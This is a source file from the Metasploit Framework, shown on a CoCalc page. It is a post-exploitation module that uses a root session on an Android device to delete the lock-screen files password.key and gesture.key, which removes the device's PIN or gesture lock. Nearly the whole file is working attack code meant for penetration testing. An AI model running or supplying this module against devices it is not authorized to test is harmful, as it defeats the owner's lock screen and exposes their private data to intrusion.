CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/android/manage/remove_lock_root.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Common
8
include Msf::Post::Android::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
{
15
'Name' => 'Android Root Remove Device Locks (root)',
16
'Description' => %q{
17
This module uses root privileges to remove the device lock.
18
In some cases the original lock method will still be present but any key/gesture will
19
unlock the device.
20
},
21
'Privileged' => true,
22
'License' => MSF_LICENSE,
23
'Author' => [ 'timwr' ],
24
'SessionTypes' => [ 'meterpreter', 'shell' ],
25
'Platform' => 'android'
26
}
27
)
28
)
29
end
30
31
def run
32
unless is_root?
33
print_error('This module requires root permissions.')
34
return
35
end
36
37
%w[
38
/data/system/password.key
39
/data/system/gesture.key
40
].each do |path|
41
print_status("Removing #{path}")
42
cmd_exec("rm #{path}")
43
end
44
45
print_status('Device should be unlocked or no longer require a pin')
46
end
47
end
48
49